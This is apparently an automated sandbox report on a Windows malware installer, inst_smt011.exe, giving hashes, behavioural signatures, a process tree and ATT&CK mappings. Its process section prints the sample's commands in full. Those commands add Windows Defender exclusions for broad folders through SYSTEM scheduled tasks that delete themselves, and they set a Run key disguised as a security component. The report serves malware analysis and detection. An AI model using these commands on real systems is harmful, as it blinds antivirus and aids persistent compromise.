Analysis
- max time kernel
145s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
05/08/2026, 03:38
Static task
static1
Behavioral task
behavioral1
Sample
inst_smt011.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
inst_smt011.exe
Resource
win11ltsc2024-20260709-en
General
- Target inst_smt011.exe
- Size 55.2MB
- Sample260805-d6341sch44
- SHA256 d43dc989b04867aa4e23fc7c42aee275d07f9f13814056ea5f7d8b4e9d626269
- MD5 26ad48919657b2806be93fae95161323
- SHA1 8fd53246ddb449fe8aa34a556076f077a0707c7c
- SHA512 27d24000274a95d746852d7c55c28ef2a33e25f86c325ebfb7ba500d5cc60ceff03081a34de3798debeff0879ff2c1dd50f944f5b3287a7b94616727d9f139ee
- SSDEEP 196608:gnnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6E:6SRe9QDk
- TLSH T1E2C78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\omwDw8 = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation 1OcDpx.exe - Executes dropped EXE 2 IoCs
pid Process 4860 1OcDpx.exe 4396 1OcDpx.exe - Loads dropped DLL 2 IoCs
pid Process 4860 1OcDpx.exe 4396 1OcDpx.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\omwDw8\\1OcDpx.exe\"" 1OcDpx.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4640 cmd.exe 3744 cmd.exe 432 cmd.exe 4892 cmd.exe 3760 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 1OcDpx.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 560 cmd.exe 4788 cmd.exe 4692 cmd.exe 1464 cmd.exe 4576 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4872 schtasks.exe 1176 schtasks.exe 1992 schtasks.exe 1556 schtasks.exe 2840 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 2116 inst_smt011.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe 4860 1OcDpx.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 656 Process not Found 656 Process not Found 656 Process not Found - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 4860 wrote to memory of 4640 4860 1OcDpx.exe 105 PID 4640 wrote to memory of 1556 4640 cmd.exe 107 PID 4860 wrote to memory of 3744 4860 1OcDpx.exe 108 PID 4640 wrote to memory of 4236 4640 cmd.exe 112 PID 4640 wrote to memory of 4376 4640 cmd.exe 116 PID 3744 wrote to memory of 2840 3744 cmd.exe 117 PID 560 wrote to memory of 1612 560 cmd.exe 118 PID 3744 wrote to memory of 760 3744 cmd.exe 121 PID 3744 wrote to memory of 3856 3744 cmd.exe 123 PID 4860 wrote to memory of 432 4860 1OcDpx.exe 124 PID 432 wrote to memory of 4872 432 cmd.exe 127 PID 432 wrote to memory of 3748 432 cmd.exe 128 PID 432 wrote to memory of 2852 432 cmd.exe 131 PID 4788 wrote to memory of 2220 4788 cmd.exe 132 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2116
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C:\Users\Public\omwDw8\1OcDpx.exeC:\Users\Public\omwDw8\1OcDpx.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\omwDw8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\omwDw8\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1556
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4236
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2840
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:760
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4872
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3748
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4892 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1176
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4748
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:3760 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1992
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4176
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1568
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\omwDw8" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\omwDw8" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1612
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1252
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C:\Users\Public\omwDw8\1OcDpx.exe"C:\Users\Public\omwDw8\1OcDpx.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4396
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵PID:2220
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4692 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵PID:4704
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:1464 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵PID:612
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4576 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:2552
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Public\omwDw8\1OcDpx.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\omwDw8\UxEnhance64.dll
- Size 3.1MB
- SHA256 90a14cc7614560274e2e51557fe33edb3322f1ee5673169b56e5d994817dc660
- MD5 b2718ae884734c7142c412f56928230e
- SHA1 86ae0cb1d063ede90800bde58b3055073352201f
- SHA512 561f099b2e63a4ddb9f02d0707497f3b917ddb7665b5919d343a8dac397cde4bc3aee881b4bb9f88eefc766fc2879e318d4a8dbd67c60d760d964a7d3a3ef71a
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+1:P9m29xx3Tiqt06ox6+z2rNNrKo1
- TLSH T17BE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\omwDw8\adoresd.dat
- Size 4.7MB
- SHA256 5e4f64eb5abefb8c19d6d8e91a01e91a42caa95a6354c09380a26a4eb7aaa482
- MD5 4949f12044808231af156dde1b4942a7
- SHA1 33023233b6575f0441d4ec72a998eb5766c7bbfb
- SHA512 d1b1aa90f3238ad7c6895b363d06e208e645dc3278cb2831229accab35adc3f40cccd5a4cdb88b5b998cf6468b7d35be48e649da37b173d00752fe987de7d040
- SSDEEP 98304:Cmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:hu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1163633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\omwDw8\msadox.tb
- Size 8KB
- SHA256 084ab8c94411ed53d625626b82a463cd78ca855eaf3a73fa0c6716759f662c91
- MD5 52d5c8bbca8395797988f9ebea58919d
- SHA1 8937779fd232c5dac5b5bac69c5c7668d0291ff6
- SHA512 4e81404b444ba23054d5b302e94aa44ee18f165a05b1d6fb5cc8de723990d1b19f8c26cb0fe0b67b27cb7283941055c2e1812152265a81c1a69b6590d9f52dda
- SSDEEP 192:mqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:msZqZOXQ3uqvR2Kfzp
- TLSH T131029E05D7A20CC3D6016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH